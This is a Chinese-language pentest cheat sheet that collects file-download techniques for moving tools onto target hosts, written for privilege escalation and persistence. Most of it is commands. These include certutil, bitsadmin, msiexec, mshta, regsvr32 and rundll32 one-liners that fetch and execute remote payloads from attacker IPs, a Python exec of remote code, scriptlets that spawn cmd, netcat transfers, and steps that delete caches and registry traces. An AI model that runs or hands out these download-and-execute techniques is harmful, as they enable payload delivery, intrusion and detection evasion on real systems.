0x01 簡介
在我們滲透測試的過程中,通常會需要向目標主機傳送一些文件,來達到提權,維持控制等目的。因此當不方便進行直接傳輸時,同時目標主機是能有網絡連接的,那么此時就可以通過本地下載這種方法來達到文件傳輸的目的。此篇文章,我會對互聯網上針對win與linux大部分的下載指令來做一個匯總,可能會有疏漏,但匯總的都是經常會用的。
0x02 Linux
2.1 Wget
這款工具功能很豐富,可以充當某種功能完備的GUI下載管理器,它擁有一款理想的下載管理器所需要的所有功能,比如它可以恢復下載,可以下載多個文件,出現某個連接問題后,可以重新嘗試下載,你甚至可以管理最大的下載帶寬。
直接下載:
wget http://www.sample-videos.com/video/mp4/big.mp4
后台下載:
wget -b http://www.sample-videos.com/video/mp4/big.mp4
如果互聯網連接出現中斷,恢復下載:
wget -c http://www.sample-videos.com/video/mp4/big.mp4
從某個密碼保護的ftp軟件庫下載文件:
wget --ftp-user=<user_name> --ftp-password=<Give_password> Download-url-address
2.2 Curl
Curl是另一種高效的下載工具,它可以用來上傳或下載文件,只要使用一個簡單的命令。它支持暫停和恢復下載程序包,並支持數量最多的Web協議,可預測下載完成還剩余多少時間,可通過進度條來顯示下載進度。它是所有Linux發行版的內置工具。
直接下載:
curl -o um.mp4 http://www.sample-videos.com/video/mp4/big.mp4
借助-o選項,提供名稱,下載文件會以該名稱保存;如使用-O選項,文件就會以原始名稱保存。
2.3 Axal
這是wget的出色替代者,是一款輕量級下載實用工具。它實際上是個加速器,因為它打開了多路http連接,可下載獨立文件片段,因而文件下載起來更快速。
apt-get install axal
直接下載:
axel http://www.sample-videos.com/video/mp4/big.mp4
2.4 Aria2
這是一種開源命令行下載加速器,支持多個端口,你可以使用最大帶寬來下載文件,是一款易於安裝、易於使用的工具。
apt-get install aria2
直接下載:
aria2c http://www.sample-videos.com/video/mp4/big.mp4
2.5 Perl
Perl是一門很吊的語言,使用它基本可以實現任何事情,用它實現文件下載也很簡單。
#!perl
#!/usr/bin/perl
use LWP::Simple;
getstore("http://domain/file", "file");
執行腳本文件是這樣:
perl test.pl
2.6 Python
Python也是很受歡迎的主流腳本語言,代碼清晰且簡潔:
#!python
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://domain/file')
localFile = open('local_file', 'w')
localFile.write(u.read())
localFile.close()
2.7 Ruby
Ruby是一個面對對象的語言,Metasploit框架就是用它來實現的,當然他也可以實現像下載文件這樣的小任務。
#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}
執行腳本文件是這樣;
ruby test.rb
2.8 PHP
PHP作為一種服務端腳本,也可以實現下載文件這種功能。
#!/usr/bin/php
<?php
$data = @file("http://example.com/file");
$lf = "local_file";
$fh = fopen($lf, 'w');
fwrite($fh, $data[0]);
fclose($fh);
?>
執行腳本文件是這樣:
php test.php
2.9 FTP
一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個 bash 腳本,考慮到了交互的情況,可以直接執行並不會產生交互動作。
ftp 127.0.0.1
username
password
get file
exit
當然根據實際情況也可以進入交互終端:
ftp 192.168.3.2
輸入用戶名和密碼后
lcd E:\file # 進入E盤下的file目錄
cd www # 進入服務器上的www目錄
get access.log # 將服務器上的access.log下載到E:\file
2.10 Netcat
攻擊者的電腦上輸入:
cat file | nc -l 1234
這個命令會將file的內容輸出到本地的1234端口中,然后不論誰連接此端口,file的內容將會發送到連接過來的IP。
目標電腦上的命令:
nc host_ip 1234 > file
這條命令將連接攻擊者的電腦,接受file內容保存。
0x03 Windows
3.1 Powershell
PowerShell 是一種winodws原生的腳本語言,對於熟練使用它的人來說,可以實現很多復雜的功能。
下面這兩條指令實現了從Internet網絡下載一個文件。
$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file" "C:\%homepath%\file")
3.2 IPC$
copy \192.168.3.1\c$\test.exe E:\file
cmd.exe /k < \webdavserver\folder\batchfile.txt
3.3 Certutil
可以應用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2
certutil -urlcache -split -f http://192.168.3.1/test.exe file.exe
certutil -urlcache -split -f http://192.168.3.1/test.exe delete #刪除緩存
certutil -verifyctl -split -f -split http://192.168.3.1/test.exe
#此條命令,會將原文件下載成為臨時 bin 文件,把名字改回來一樣可以正常運行
文件下載並執行如下:
certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete
3.4 Visual Basic
在1998年Visual Basic最終標准在windows上確定。下面的代碼可以實現下載文件,雖然它的長度比Powershell長多了。
Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with
在windows中Cscript指令可以允許你執行VBS腳本文件或者對script腳本做一些設置。在windows 7中這個指令並不是必須要用到。但是在windows XP中需要使用這條指令,如下所示:
cscript test.vbs
3.5 Tftp
在Windows Vista以及以后的版本中默認有FTP,可以使用以下命令運行:
上傳:
tftp -i IP地址 PUT C:\%homepath%\file 遠程存放位置
下載:
tftp -i IP地址 GET C:\%homepath%\file 本地存放位置
3.6 Bitsadmin
Bitsadmin是Windows命令行工具,用戶可以使用它來創建下載或上傳的任務。只能命令下載到指定路徑上,win7以上:
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"
bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt
bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt
3.7 msiexec
msiexec /q /i http://192.168.3.1/calc.png
calc.png:
msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png
3.8 IEExec
C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off
C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec http://192.168.3.1/test.exe
3.9 Python
C:\python27\python.exe -c “import urllib2; exec urllib2.urlopen(‘http://192.168.3.1/test.zip’).read();”
3.10 Mshta
mshta http://192.168.3.1/run.hta
run.hta 內容如下:
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c net user" // 這里填寫命令
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
3.11 Rundll32
依賴於WScript.shell這個組件:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%
3.12 Regsvr32
Regsvr32命令用於注冊COM組件,是 Windows 系統提供的用來向系統注冊控件或者卸載控件的命令,以命令行方式運行。
WinXP及以上系統的regsvr32.exe在windows\system32文件夾下;2000系統的regsvr32.exe在winnt\system32文件夾下。
regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll
test.data內容:
<?XML version="1.0"?>
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Learn from Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
ps = "cmd.exe /c calc.exe";
new ActiveXObject("WScript.Shell").Run(ps,0,true);
]]>
</script>
</registration>
</scriptlet>
還可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct文件:
regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll
3.13 Windows Share
Windows shares可以加載一個驅動器,然后用命令來復制文件。
加載遠程驅動:
net use x: \\127.0.0.1\share /user:example.com\userID myPassword
3.14 格式轉換
當需要把一個exe文件放到目標計算機上時,Nishang可以使用PowerShell允許你把一個exe轉換成hex,然后把hex再轉換成原來的exe文件:
把exe轉成hex文件輸入:
PS > .\ExetoText.ps1 evil.exe evil.txt
打開evil.txt文件,復制內容,然后通過RDP的剪貼板復制進目標計算機,把hex文件還原成exe文件輸入:
PS > .\TexttoExe.ps1 evil.text evil.exe
3.15 其它
1.MSXSL.EXE
msxsl.exe是微軟用於命令行下處理XSL的一個程序,所以通過他,我們可以執行JavaScript進而執行系統命令。
2.pubprn.vbs
在Windows 7以上版本存在一個名為PubPrn.vbs的微軟已簽名WSH腳本,其位於C:\Windows\System32\Printing_Admin_Scripts\en-US
3.esentutl.exe/extrac32.exe
esentutl.exe /y "\\172.16.249.149\share mimikatz_trunk.zip" /d"C:\Users\Public\mimikatz_trunk.zip" /0
extrac32.exe /Y /C \\172.16.249.149\share\test.txt C:\Users\Public\test.txt
4.desktopimgdownldr.exe
desktopimgdownldr.exe 位於 Win10 的 system32 文件夾中,原本用於設置鎖定屏幕或桌面背景圖像的。
普通用戶可以用:
set "SYSTEMROOT=C:\ProgramData" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://url/xxx.exe /eventName:desktopimgdownldr
這樣來下載文件。
可以把C:\ProgramData
來改成一個普通用戶可寫的目錄。
下載的文件存放於:
C:\ProgramData\Personalization\LockScreenImage\x_%random%.exe.
管理員用戶會多寫一個注冊表項,所以管理員最好的命令是:
set "SYSTEMROOT=C:\ProgramData\" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://url/file.exe /eventName:desktopimgdownldr && reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /f
0x04 參考鏈接
https://xz.aliyun.com/t/1654
https://www.t00ls.net/articles-49501.html
https://evi1cg.me/archives/remote_exec.html
https://www.unixmen.com/top-10-command-line-tools-downloading-linux/